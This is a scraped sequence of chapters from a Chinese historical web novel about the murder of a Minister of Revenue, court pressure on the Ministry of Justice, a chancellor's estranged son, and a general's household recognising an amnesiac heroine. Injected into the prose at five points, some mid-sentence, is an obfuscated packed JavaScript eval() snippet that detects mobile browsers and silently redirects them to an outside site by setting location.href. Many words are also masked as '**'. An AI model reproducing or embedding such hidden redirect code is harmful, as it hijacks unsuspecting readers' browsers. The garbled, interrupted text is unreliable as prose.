“你还有个兄弟,暂时不知所踪。”陈识月不紧不慢的开口。 长雾诧异,“你之前怎么没提过?” “那你也没问呢!”陈识月白了他一眼。 长雾不解,“我那兄弟长什么样?” “跟你一个样,但是很高,很瘦。”陈识月解释,“就是脑子不好使,有点蠢笨。” 长雾了悟,“是个傻子啊?” 陈识月没说话。 “也对,要不然怎么会丢失呢?”长雾叹气。 陈识月眼角眉梢微挑,似笑非笑的继续道,“你那兄弟是被你弄丢的,不知道丢哪儿去了,所以说傻的不只是他一个,你也不见得聪明到哪儿去?” “我丢的?我弄丢的?”长雾不敢置信的瞪大眸子,以手自指,“你说我?” 陈识月白了他一眼,“瞎嚷嚷什么?是你是你就是你,这下清楚了吧?” “我把我兄弟弄丢了?”长雾喉间滚动,“我是怎么把他弄丢的?” 陈识月不想再与他纠结在这个问题上,“这我哪儿知道?若是知道,我不得给找回来?找不回来,肯定有找不回来的原因。” “对不起。”长雾垂下眼帘。 陈识月托腮瞧着月亮,“不用说对不起,缘分这东西本来就很奇妙,也许今日丢了,明日就自己回来了?谁知道呢!” 长雾不说话,大概是觉得愧疚,就这么静静的陪坐着。 半晌过后,陈识月又道,“一身的医术来之不易,要做个好人,做坏事是有报应的。” 长雾虽然不解,她为什么忽然来这么一句。 但既然是长辈所言,作为晚辈自然是要遵从。 “知道了,小姨。” “早点休息吧!”陈识月起身回屋。 长雾坐在台阶上,瞧着极好的月色,略显无奈的嘟哝,“我的兄弟?我居然还有兄弟?” 可是,兄弟去哪儿了呢? 夜色沉沉,呼吸均匀。 墙外忽然传来乱糟糟的动静,硬生生将二人从睡梦中惊醒。 长雾第一时间冲到了院子里,这是出了什么事? “怎么了?”陈识月披着外衣出来,皱着眉头穿好,“出什么事了?” 长雾侧耳听着,“好像是隔壁?是知府大人的府邸。” “闹贼了?”陈识月狐疑的开口。 长雾摇摇头,“不清楚,你待着别动,我看看去。” 音落,长雾纵身一跃已经翻墙而出。 陈识月可没这么听话,凑热闹这事能少得了她?现如今的她,又不是失忆之前那个谨小慎微之人,忘记了自己的钦犯身份,行动果然自由多了。 爬出了墙,陈识月站在了街边看热闹。 大晚上的,不少人都跑出来站在家门口凑热闹,瞧着衙役提着灯盏,火急火燎的在城内奔跑,说是**什么人? “这是怎么了?” “哎呦,你不知道啊?说是那边巷子里**个人,就是不知道怎么回事?” “**啊?谁干的?**的?” “这谁知道?就知道这里面**人,不过……没听到什么动静啊!” 陈识月竖起耳朵,没听到动静怎么知道**了? “死的是谁啊?”陈识月压着嗓音询问。 百姓们都是探头探脑的,瞧着前方明晃晃的火把,一个个都瞪大眼睛。 这哪儿知道呢? “怕是事儿不小,我瞧着好像是知府大人都过去了。” “哎呦,知府大人都去了,那死的这个……身份怕是不得了吧?” “这不会是哪位大人吧?” 话是这么说,人却是没看见的。 一个两个议论纷纷,但无人敢轻易往前凑,这要是询问附近都有些瞧见,凑进了就会被询问,谁都不想招惹这样的晦气事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369173|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但陈识月没关系,她就想知道这大晚上的,死的是谁? 隐约觉得,有点心里不安。 悄悄摸过去,陈识月眉心紧蹙,前面衙役已经拦路,内里火光摇曳,根本不让过去,只瞧着地上似乎躺着一个人,火光下有血色映出。 是**人,而且应该是利器所伤,看血色应该刚死没多久,血还没有凝结成深色。 百姓也有探头探脑的,但没办法靠近,毕竟衙役都守着呢! 便是长雾,也是无功而返。 “你怎么出来了?”长雾拽住她胳膊,“走!” 这可不是凑热闹的地方,人都**呢! “死的是谁?”陈识月问。 长雾摇摇头,“听说是个官。” 至于什么官,那谁知道? 老百姓又不认识。 “官怎么会出现在这巷子里?大半夜的,黑灯瞎火的,这边铺子都关门了,要买东西也不至于一个人单独前行,府中有奴仆丫鬟,使唤谁不成?”陈识月颇为不解,“出现在这里,应该是跟谁约好的吧?” 长雾看了一眼前方的人群,拽着她往回走,“别看了,这些事情跟咱没关系,明日还得上工,赶紧回去歇着吧!” 还好不是进了贼,要不然真的搜查起来,他们这偷偷进人家院子的事就瞒不住了。 等明日! 明日赁了屋舍,就不会有如此担忧了。 “大人,怎么办?”衙役拱手,“附近没发现异常。” 对方下手快准狠,死者几乎没有任何的反抗,可想而知当时的场景,只不过为什么会在这阴暗的小巷子里?这里甚至于没有后门,只是一条通道,寻常也不怎么会有人经过,因为并非闹市。 为什么会出现在这里呢? 到底是谁杀的? 柳大人回头看了一眼,蓦地眉心陡蹙,隐约好似瞧见了一道熟悉的身影。 “大人?大人?”衙役连喊两声。 柳大人这才回过神来,“什么?” “您怎么了?”衙役不解。 柳大人揉了揉眉心,“这大晚上的精神不济,大概是看走眼了,没什么事,待仵作初步查验之后,先把尸体抬回去。待会找个人,去看看欧阳捕头,若是身子好些,让他赶紧回衙门帮忙,这一次……怕是真要出大乱子了。” 第四百二十八章 唯独你,不可以 底下人快速去找欧阳恭,毕竟现在这局面,可能不只是衙门一家的事情,等到明日早朝,估摸着天都要塌了。 知府大人的脑瓜子都是嗡嗡的,这一时半会也不知道该说点什么好,只能先把尸体抬回去再说。 一转头,知府大人愣了愣。 那背影竟是有几分眼熟,好像…… “大人?大人您怎么了?”师爷问。 柳知府回过神来,“没什么,可能是本府看花了眼。” 没事,没事。 这大晚上的,肯定是看错了。 欧阳恭是真的没料到,这大晚上还在养伤,就被人揪出了被窝,虽然是一家吃饱全家不饿的状态,但好歹也得当个人,谁家好人在大晚上的拽着伤重之人出任务? “什么**人?”欧阳恭虚弱得说话都费劲。 九死一生从山上逃回来,哦不,应该说是被人带回来的,因为后来他便陷入了昏迷,再醒来已经在医馆,要不是回春堂的大夫妙手回春,他早就没命了。 人都刚醒来没多久,喝药都得大喘气,哪儿还能爬起来干活?! 不干。 拉磨的驴都不带这么使唤的。 “死的是……”衙役凑到了他耳畔低语,“头,大人说您若是能爬起来,就赶紧去看看吧,这怕是要乱了套了。” 欧阳恭眼一闭,“你怕是嫌我死得不够快。” “头,咱不是也没办法吗?知道您伤得重,当时您被送进医馆,大人也是知道的,不过大人都没问您去哪儿伤得这么重……”似乎意识到跑题了,衙役又道,“头,您能爬起来吗?” 欧阳恭面色平静的看向他,“你看我像你祖宗不?” 衙役嘿嘿笑着。 “我从阎王殿爬出来,找你索命来了。”欧阳恭白了他一眼,“我去不了,这件事你们自己看着办,若是就这么把自己的性命搭进去,我比窦娥还冤!” 衙役无奈的撇撇嘴,“行吧,那我去回了知府大人。” 就在他转身离开的时候,欧阳恭又道,“有什么消息,一定要来告知我,我也想知道,究竟是谁吃了熊心豹子胆,敢在天子脚下做这等龌龊事情?” “是!”衙役摆摆手,快速离开。 待人走后,欧阳恭眉心紧蹙,隐约意识到这些事情都不简单,一下子**这么大一个官,难不成有什么大阴谋之类的? 若是如此,那可就糟糕了! 可他如今的状况,也不允许他多管闲事。 不知道,他们现在如何? 冬梅姑娘怎样了? 真是愁人呢! 更愁的是满朝文武,金都内外,人心惶惶。 天还没亮,消息就传开了。 管家急吼吼的进门,奈何霍青行还在昏迷,话到了嘴边只能咽回去,罢了罢了,还是先让少将军好好养伤为好。 虽然脱离了危险,但霍青行仍是时常陷入昏睡之中。 这种状况,并不乐观。 算了,再等等吧! 不过宫里却是等不了,今日早朝之上,帝王勃然大怒。 惊得底下文武百官,一个个面如土色,跪地齐声高呼“皇上息怒”,无一人敢为此番事情担责。 死的不是寻常人。 是户部尚书孙乾。 天晓得,连尚书都敢杀,这凶手得有多穷凶极恶。 “天子脚下,王法条条,居然还有人行此恶事,简直是岂有此理。”李敬勃然大怒,眸光狠狠的掠过底下众人,“你们一个个都是吃干饭的吗?如此恶人闯入城中,杀死朝中重臣,今日是孙乾,明日呢?明日该是谁?是不是要等到刀子架在朕的脖子上,尔等方可警醒?” 闻言,百官瑟瑟发抖。 一个两个跪在地上,不敢起身,“臣等该死,请皇上息怒。” 息怒? 皇帝现在怒火滔天,恨不能将这帮废物都丢出去,眼皮子底下**一位三品大员,怎不叫他愤怒难当?为什么死的?**的?事情到此为止了吗? 没人知道。 一切都是茫然。 “今日是朝臣,明日就是朕。”李敬拍案而起,“刑部。” 刑部尚书王寒,慌忙往外挪行几步,“臣在。” “朕只给你们五天的时间,查不清楚来龙去脉,弄不清楚人是谁杀的,朕就拿你是问。”李敬拂袖而去。 王寒抖了抖,俯首磕头,“臣……遵旨。” 无一人敢吱声,无一人敢抬头。 及至太监一声喊,“退朝!” 众人悬在嗓子眼里的一颗心,才算稍稍回落,抬头时,帝王早已走远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373279|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饶是当朝丞相杨文权,此刻也是沉默着,不置一词。 “王大人!”边上众人,轻轻将王寒扶起。 王寒满头是汗,面色青白,冲着众人拱拱手,算是谢过了。 百官鱼贯而出,都匆匆离宫,谁知道接下来还会出什么事情呢?能躲一时是一时,这样的事情绝对不能沾手,否则帝王一怒,怕是身家性命都难保! “丞相大人!”王寒拱手。 杨文权叹口气,无奈的看向他,“皇上正在气头上,这件事瞧着有些棘手,王尚书要抓把劲,说是五日……唉,尽力吧!” 王寒张了张嘴,愣是吐不出半句话来。 还能如何? 瞧着所有人一个接一个的出去,身为刑部尚书还能如何呢? 低头干吧! 查不出真凶,他王家的好日子便也到头了。 伴君如伴虎。 天子一怒,伏尸百万。 对于这次的事情,帝王没有追究巡城都尉府的职责,已经是皇恩浩荡,但若是再来一次,又或者是查不出真凶,那时候皇帝再秋后算账,便是一个都跑不了。 出了宫门,上了马车。 杨文权的脸色彻底沉下来,“回府。” “是!” 马车刚停下,儿子杨贤已经站在了府门口,看上去脸色也不太好,多半也是因为这次的事情。 “父亲!”杨贤行礼。 杨文权下了马车,“你怎么回来了?皇上那边没说什么?” “皇上让加强皇宫警戒,其他的倒是没什么。”杨贤紧随其后,“我只是担心,这件事的背后……若是有人因此而大做文章,怕是没那么容易善了。” 杨文权顿住脚步,长长的回廊,无人敢驻足,他目光幽沉的转头看向自己的儿子,有时候真的怀疑,这儿子真的是自己生的吗? “父亲这是何意?”杨贤眉心拧起。 杨文权是百官之首,虽年纪上来了,但一点都不影响思考,摸爬滚打了这么多年,岂会看不明白他那点心思,“来试探自己父亲的口风,这是为人子该做的事情吗?” 杨贤被噎了一下。 “你是杨家的人,怎么能胳膊肘往外拐?”杨文权面黑如墨,“谁都可以怀疑我,唯独你这个当儿子的不可以!” 第四百二十九章 谁家不是一团乌糟? 话是这么说的,但是人与人之间总归不同,有人志不在此,有人利欲熏心。 “父亲莫恼,这天下事总有黑白曲直,只要不做亏心事,自然是理直气壮的。”杨贤不急不缓的开口,“这件事情惹来帝**怒,不得不防。” 杨文权就这么平静的注视着他,“你想说的就只是这些?” “是!”杨贤颔首,“为人臣子,自该为君分忧,岂敢存有二心?” 杨文权的话到了嘴边,又生生咽了回去,思虑片刻再道,“你我父子许久不曾好好说会话,待会吃个午饭,好好喝两杯。” “宫中事忙。” “又有多忙?” 不等杨贤拒绝,杨文权已经冷了声音。 再忙,能有他这个当朝丞相忙? “吃顿饭的时间都没有了?”杨文权黑着脸,“你这禁军统领当得可真是尽职尽责,要不然我这丞相之位,也让你来当?” 杨贤不说话了。 孝道压人。 一妇人站在远处,就这么静静的看着,也不敢上前来打扰,只是瞧着脸色不太好,不知道是病了还是别的什么缘故? 杨文权抬头,看了一眼远处那妇人,“跟秀娟好好的说会话,整日不是执行公务,就是不在金都,夫妻二人聚少离多……像什么话?你不是小年轻了,有时候也该悠着点。” 语罢,杨文权朝着另一条道而去。 杨贤缓步上前,朝着妇人走去。 “夫君。”刘氏上前行礼。 杨贤叹口气,“夫人瞧着脸色不太好,若是身子不舒服便好好休息。” “没大碍。”刘氏音色平静,但瞧着还是有些虚弱,“夫君今日休沐?” 杨贤摇摇头,“只留家中用午饭。” “好!”刘氏连连点头,瞧着似乎很高兴。 杨贤张了张嘴,没有再说话,只瞧着刘氏行礼之后快速离开,只是走路有些脚下虚浮,瞧着似乎真的不太好? “父亲!”杨明放不知何时已经站在身后。 杨贤转身看他,“你怎么在这?金秋科考在即,你怎么不去读书,站在这里作甚?” “父亲难得回来,自然是要见一见的。”杨明放行礼。 见着杨贤要走,他又赶紧上前,“父亲,您没发现母亲身子不太好吗?” “你想说什么?”杨贤面不改色,转身就走。 见此情形,杨明放赶紧跟上,“母亲郁结于心,身子每况愈下,可她一直撑着不说,父亲……父亲也该知道,母亲为何会如此吧?父亲经常不在家,即便在宫里当差,也是住在宫中不出,偶尔休沐也不过三两日,母亲她……” “好了!”不等杨明放把话说完,杨贤已经打断了他的话,“长辈之间的事情,不是你一个小辈能管的,这些事情都与你没关系。” 语罢,杨贤大概意识到自己说的话有些重,不由得放轻了语气,“好好读书吧,别的事情就不用你操心了。” 望着父亲离去的背影,杨明放僵在原地好半晌都没能回过神来。 “哥?”杨**皱眉。 杨明放看向她,“唉!” “没关系,待会我去劝劝。”杨**忙道。 杨明放点点头,到底是没再多说什么,有些事情还真不是他们这些晚辈能插手的,且母亲不愿意多说,很多事情都是从府中老人嘴里得知。 关于父母之间的感情…… 罢了! 到了午饭的时候,难得合家团聚,除了丞相夫人在佛堂里吃斋念佛不出来,其他人都在。 “难得都在家,好好吃顿饭,别的什么都不要说。”杨文权开口。 但这话,明显是冲着杨贤去的。 刘氏脸色有些憔悴,但看得出来眼睛里是有光的,显然是很高兴,唇角多了几分笑容。 见此情形,杨明放和杨**两兄妹,暗自松了口气。 这是好事。 “得空多在家里待一待。”杨文权又开口。 杨贤紧了紧手中的筷子,转头看了一眼笑容僵在脸上的刘氏,长长吐出一口气,“父亲,身在其位,不可懈怠。” 这是拒绝。 “混账东西,你有多忙,成日不着家?从你成亲之后到现在,你在家里的日子,一只手都数得过来,你对得起谁?对得起你母亲,可曾尽过孝道?对得起你的妻子,可曾尽过夫妻情分?对得起儿女,像是个好父亲吗?” 一番话,说得桌案上的人都面色微变,却无一人敢吱声。 杨文权是丞相,是一家之主,他的话就是家中的圣旨,无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380570|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人敢反驳。 这是绝对的话语权。 一直如此。 惯来如是。 “父亲,我吃了好了。”杨贤放下筷子,起身就走。 杨文权的筷子“啪”一声拍在桌案上,脸色难看到了极点,“你站住。” “父亲?”刘氏起身,面色苍白,“夫君在皇上跟前当差,仔细勤勉是必然。” 杨文权叹口气,“你身子不大好,有些事情……便不必忧心了,这小子干了多少混账事,桩桩件件我都记在心里。” 想了想,杨文权又道,“这些年,委屈你了。” 刘氏眸中含泪,看了面无表情的杨贤一眼,又冲着杨文权行礼,“父亲言重了,儿媳不觉得委屈,所做的一切都是儿媳心甘情愿的。” 说着,她又将目光落在了杨贤身上。 曾经,少年意气,鲜衣怒马。 后来…… 就没有了。 杨贤徐徐转身,不知道是出于什么缘由,目光略显复杂,“父亲,如今一切皆如你所愿,你还有什么不满意的?不如一道说出来,说明白,也免得大家猜来猜去的。” “逆子!”杨文权气得胸口剧烈起伏。 杨明放和杨**赶紧上前,“祖父莫要生气,祖父喝口水。” 杨**递茶,杨明放赶紧安抚祖父。 再看杨贤,完全不为所动。 很多时候人的苦难,都是自己造成的,比如说杨家这些破烂事,杨贤始终不为所动,站在那里就像是个局外人,看着所有人或愤怒,或悲伤,或略带谴责的眼神,他面上无波无澜的。 “你们慢慢吃。”杨贤转身就走,“我回宫了。” 杨文权气得拍桌子,奈何儿子都没有回头,一颗心终是沉沉落回了谷底,“这么多年了,他们母子始终没有放下。” 一个长居佛堂,一个久居深宫。 这个家之所以还没散,是因为丞相夫人还活着,还在佛堂里住着,但若是真的到了那一天,杨文权相信,失去夫人的同时也会失去这个儿子。 唯一的儿子。 年轻的时候只觉得权势诱人,为了权势可以付出一切,如今到了这般年岁,却开始怀疑自己当年是不是真的做错了? 错得离谱…… 第四百三十章 不是熟人,就是高手? 杨贤没有再逗留,连挽回的机会都没有,明明是骨肉至亲,却是那样的生疏,仿佛有这无法消去的隔阂,一个两个都成了最熟悉的陌生人。 “真是混账。”杨文权拂袖而去。 这是真的生气。 可又能如何? 他只剩下这么一个儿子,还能怎样? 算人者,人恒算之。 望着父亲离去的背影,杨明放无奈的叹口气,一回头,险些失声尖叫,“母亲!” “娘!” “夫人!” 一声声惊呼。 刘氏怦然倒下,若不是身边人快速接住,只怕要重重砸在地上。 众人手忙脚乱的将人抬回去,赶紧去请府医,真真是忙成一团。 好在,刘氏没什么大碍。 大夫给开了药,便退了下去。 “母亲郁结于心,终不是三言两语就能宽慰。”杨明放站在回廊里。 杨**站在一旁,“是因为父亲吧?” 父亲长年累月不回家,别说是母亲,便是他们兄妹二人都很少见到他,所以对父亲……二人既熟悉又陌生,想亲近却又不敢亲近。 父爱这个词,对他们来说是一种奢望。 “之前说是因为祖母的事情……”杨**顿了顿,“祖母住在佛堂不出来,和父亲久居深宫不回家,应是一样的理由。” 杨明放看向她,“知道就别说了,这是忌讳,若是隔墙有耳,叫人听了去,你还有命在?” “这都多少年了?”杨**不以为意。 杨明放却不这么认为,“你别不当回事,若是哪天有人旧事重提,你知道会有什么后果吗?身处其中若不细致,只怕到时候会死得很惨。” 杨**:“……” 半晌,她嗫嚅了两句,“你少吓唬我,我可不是吓唬长大的。” “吓唬你?刀子架在你脖子上的时候,你就不会这么认为了。”杨明放冷着脸,“好好的待在家里,不要再出什么幺蛾子,要不然的话,谁也保不住你。” 语罢,杨明放转身回屋。 母亲还在昏睡着,他去叮嘱了两句,这才无奈的离开,一时半会的人是醒不了的。 “母亲需要休息,你好好照顾着。”杨明放看了一眼,还在发愣的杨**,“将军府那边的事情,接下来就交给祖父他们,你就不要掺合了。” 杨**梗着脖子,“为何?霍哥哥受了伤,我去看看他又如何?他此前救过我,我只是在报答他的救命之恩。” “只是救命之恩吗?”杨明放冷笑两声,带着清晰的嘲讽,“别自欺欺人了。” 杨**没再说话,就这么目不转睛的盯着他,是与不是,有什么要紧呢? 只要坚持,肯定会有结果。 但母亲还昏睡着,她一时半会也没办法脱身。 罢了,先等等吧! 不过…… 有些人却是等不及了,白重特意去了一趟欧阳恭家中。 人是坐起来了,但是伤却没有好转,这会还有点起热,伤口没有恶化,却也需要好一阵子静养,否则容易有二次崩裂的危险。 “多谢大夫。”欧阳恭拱手,上半身缠满了绷带,“你这来回跑的,委实有些不好意思。” 毕竟,白重年纪不轻了,瞧着的确是累得慌。 “救死扶伤,乃是我们这些做大夫的本分。”白重不以为意,将药留下,“还是原先的药,继续吃着,这伤口没有发红流脓,真是不幸中的万幸。” 欧阳恭靠在软垫上,呼吸都有些微烫,“大难不死必有后福,还以为活不成了,没想到……真是万幸,万幸啊!” “好好养着。”白重收拾了一番药箱,“这么重的伤,没个小半年是不可能痊愈的,若不养好,以后必定留下祸根,虽然年轻,却也不能仗着年轻而无视,否则老了要吃苦头的。” 欧阳恭笑着点头,“多谢,我记住了。” “欧阳捕头。”白重顿了顿,忽然有些迟疑了。 欧阳恭回神,“怎么了?” “城中出了那些事儿,您不清楚啊?”白重低声问。 欧阳恭明白过来了,说的是户部尚书**之事,“听说了,但无能为力,这事没头没脑的,我躺在这里什么都做不了,自然无从得知。不过白大夫莫要担心,恩怨到头都有缘由,多半不会牵连无辜。” “可这无端端死个人,还是位高权重的……怎不担心?”白重无奈的摇头。 欧阳恭愣了愣,这倒是。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385360|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“如今城中人心惶惶的。”白重叹口气,“罢了,欧阳捕头,您好好休息,我先回去了。” “好!”欧阳恭没再多说什么,只是心思略沉,隐约觉得这里面怕是……真的有什么见不得人的事情,但涉及朝堂,哪儿是他这样的小人物可以掺合的? 户部尚书? 这位户部尚书也算是个老臣,在朝堂上摸爬滚打了那么多年,与他结仇的人多了去,想要一个个仔细的找,还真不是什么容易的事情。 会是谁呢? 真是头疼。 他寻思着,改天问一问仵作。 仵作负责验尸,应该会有所获吧? 知府柳大人也是这么想的,所以第一时间去了停尸房,仵作都是刑部调来的,特意为了这件事而来,所以很多事情,柳大人也没办法直接插手了。 王寒身为刑部尚书,身边跟着柳侍郎,亲自督办这桩血案。 尸体暂且没有挪回刑部,还停在府衙里。 “一剑毙命,速度很快,且是正面突袭。”仵作沉着脸,“下手狠快,很准。” 这就说明对方功夫不弱,是个练家子,而且……可能是熟人作案。 “死者没有抵抗伤。”仵作继续道,“要么是熟人,所以毫无防备,要么就是对方武功极高,以至于防不胜防,来不及抵抗。” 柳知府低声问,“有没有可能是中了药,所以才会任人宰割?或者是喝醉了酒?” “没有!”仵作决绝的回答,“从他胃部所剩物检查,没有酒,也没有药,鼻腔、咽喉、气管都是干干净净的,没有酒和药物的残留。” 那就是说,人是在清醒的状态下**? 一个尚书怎么会大晚上,黑灯瞎火的出现在无人经过的巷子里,等待一个可能要杀他的人?这是为何呢?有什么要紧的事情,非得赶在这样的时辰,这样的地方? 对方,为什么非杀他不可? “尚书府的人说,尚书大人是吃过晚饭之后就出了门,然后一直没回来,原以为是同往常一般,住在了衙门里,没想到……”底下人摇摇头,“咱去报信的时候,府里的人都说尚书大人今晚没有任何的异常,与往常无二。” 那就是说,尚书府的人……什么都不知道? 第四百三十一章 她怎么不认识他了? 毫无征兆,如常出行,结果突遭不测? 说明这件事情没有预兆,而孙乾此前也没有料到,那这凶手**的目的是什么?为了毫无挣扎毫无目的的事情**? 灭口? 为的是什么? 这里面的缘由实在是让人捉摸不透。 杀一个尚书,必须要有十足的理由,若为公,必定为私。 所是私人恩怨,身为尚书的孙乾不可能只身赶往,除非对方突然反目成仇,出乎了孙乾的预料,否则怎么可能会突然**? 反目成仇? 又或者是蓄谋已久? 每个人的脑瓜子都是嗡嗡的,一时间也分不清楚,这死因到底是什么? “可还有其他的线索?”柳侍郎插了一嘴。 仵作将托盘里的一样物什,用镊子夹起来,“这不知道是什么**,瞧着像是动物身上的,并不是人的毛发,当然,也可能是孙尚书无意间沾上的,不晓得与这他**是否有关?” “**?” 一双双眼睛当即凑了过来,仔细观察着那一小撮**。 “闻着有股骚臭味,不是猫就是狗吧?”柳侍郎低声嘟囔。 王寒点点头,他也这么想的。 日常所见,不就是这些东西吗? 猪牛羊的**不似这般柔软,且也不太可能沾在一个尚书的身上,所以这到底是猫还是狗,又或者是不知名的狐狸精? 众人面面相觑,各自脸色难看。 这可是皇帝下旨刑部督办的,只给了五天的时间,要是没能在帝王规定的时间内,查清楚事情的真相,只怕到时候他们一个两个都得吃不了兜着走,这可不是闹着玩的。 身家性命悬于帝王剑下,岂敢大意?! 不只是刑部,包括知府衙门,到时候都别想跑,帝王一怒,谁都落不了好。 这件事,闹得满城人心惶惶,朝堂上亦是众说纷纭,气氛很是压抑,城内随处可见搜寻疑犯之人,但始终一无所获。 凶手就像是人间蒸发了一般,竟是毫无踪迹可寻。 动静很大,不管是百姓还是官员,都担心牵连其中,是以老百姓也只敢探头探脑的,什么都不敢说,什么都不敢做,生怕被抓紧府衙。 霍青行一觉睡醒,只觉得天都塌了,“孙乾**?” “是!”老管家连连点头,“皇帝亲自下旨,着刑部严查,闹得满城风雨,只是谁也不知道,究竟是何人下的手?实在是一桩无头案!” 毫无头绪可言。 霍青行差点一口气上不来,好不容易查到这点线索,不是一下子……腰斩了吗?必定是有人察觉到了异常,可能是山中洞窟之事影响,所以让他们断尾求生,不得不放弃孙乾这枚棋子。 当初那么多事情,都是孙乾经手,如今这般,只能说是……打草惊蛇了。 “少将军,别激动,别激动,您现在的身子骨可经不起折腾。”管家心惊胆战的,慌忙安抚,“您身子要紧,先养好自身,其他的慢慢来吧!” 都等了这么多年,也不怕在等这些许时日。 有些事情不能着急,只能徐徐图之…… “金伯,我……”霍青行虚弱的开口,“想上山。” 管家摁住他,“现在不行,你这副身子骨怕是到了山脚下就已经倒下了,还是先养着为好。另外便是,皇家对这件事很重视,想必城内城外都**了,若是少将军这个时候出去,肯定会招来怀疑。” 这对谁都没好处。 “可是月儿还在等我。”他直愣愣的望着门口方向。 瞧着他面白如纸,整个人虚弱得只剩下喘气的力气,管家便于心不忍,“少将军放心,我已经让人去山下观望,暂时不要打草惊蛇,山中情况复杂,连少将军都没办法处置,更不敢做无妄牺牲。” 霍青行当然也知道,这件事谁都办不了,那么多人蜗居在山上,藏在洞窟里,就算是出动大军围剿都不是一朝一夕的事情。 更何况,也不可能出动大军。 一则,没有围剿的理由。 二则,擅自调兵就是谋逆。 帝王枕畔,岂容他人酣睡? 当然,让将军府的人全体出动也不现实,豢养私兵,同样是死罪,多少双眼睛都直勾勾盯着将军府,等着抓霍家的把柄呢! 但是没关系,迟早会清算的。 “金伯?金伯!”有小厮急急忙忙的跑来,“我好像看到、看到姑娘了!” “什么姑娘?”管家没明白,“好好说话!” 小厮忙道,“之前那位姑娘,您让我盯着点的,若是有什么要事,立刻为其妥善处置,就是少……少夫人啊!” 好似意识到了什么,管家面色骇然,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390529|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可莫要胡说,是真的看见了,还是瞧见了相似的?若是说不清楚,仔细我扒了你的皮。” 少将军这边还疯着呢,要是再出什么岔子,那还得了? “真的!”小厮信誓旦旦,“长得一样。” 他只能这么说。 长得一样,是不是就不好说了。 “要不然,是双生子?”小厮狐疑的问。 霍青行摇头,“月儿没有双生姊妹。” “那是易容?”管家面色凝重。 易容? 难道是引蛇出洞? “马上让人去盯着,莫要打草惊蛇。”霍青行急了。 管家赶紧摁住他,“您别激动,我知道该怎么做,这就派人去盯着,没事没事哈!” 这可不敢激动,伤口要是二次、三次崩裂,还要不要活了? “好!”霍青行觉得,可能是那个疯子带着人……下山了? 他想干什么? 想对月儿做什么? 又或者是,想利用月儿做什么? 那么多人都在山中出事,这笔血债必须偿还。 “还有便是……”霍青行沉着脸叮嘱,“若真的是月儿,她身边必定跟着一个黑衣人,此人功夫奇高,善用奇毒,不可不防,不可小觑。记住,千万不要硬碰硬,只怕寻常人都不是他的对手,务必要当心。” 管家面色一紧,“知道了。” 若是如此,必当重视。 山里的东西跑出来了,那还得了? 把少将军伤成这样,这笔账不能就这么算了! 来一个,算一个! 出了门,管家目光沉沉,脚下生风。 哪个王八犊子,真真找死! “还愣着作甚,先带我去认人。”管家忙道。 小厮一点头,“在平安堂。” 药铺? 赶紧去看看。 平安堂。 管家一进门,陈识月就停下了碾药的杵子,当即笑问,“想买什么药?” 管家:“??” 像! 真的像! 但是…… 她怎么不认识他了? 为了万无一失,管家忙道,“想买茯苓。” “这边请。”陈识月笑着迎上去,“产地不同,效用有所区别,可否告知用途?” 第四百三十二章 不想做人?那就当** 管家是真的有点懵了,说句实话,他对这些东西知之甚少,方才也就是顺口一说,如今陈识月问起来,他是真的答不上来。 然而…… “怎么了?”陈识月不解。 管家以手自指,“姑娘,你不认识我了?” “我、我该认识你吗?”陈识月没明白,“老伯,您是……” “什么老伯,我是金伯,是将军府的管家,咱见过的……”管家急得跳脚。 